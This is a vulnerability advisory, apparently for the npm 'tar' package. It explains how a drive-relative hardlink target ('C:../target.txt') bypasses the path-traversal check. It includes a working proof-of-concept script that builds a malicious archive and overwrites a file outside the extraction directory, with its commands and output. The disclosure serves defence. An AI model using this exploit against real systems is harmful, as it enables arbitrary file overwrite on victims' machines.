Vulnerability Instance

tar has Hardlink Path Traversal via Drive-Relative Linkpath
### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.

What happens with `linkpath: "C:../target.txt"`:
1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

### PoC
Tested on Arch Linux with `tar@7.5.9`.

PoC script (`poc.cjs`):

```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

Run:

```bash
cd test-workspace
node poc.cjs && ls -l ../target.txt
```

Observed output:

```text
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt
```

`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.

### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files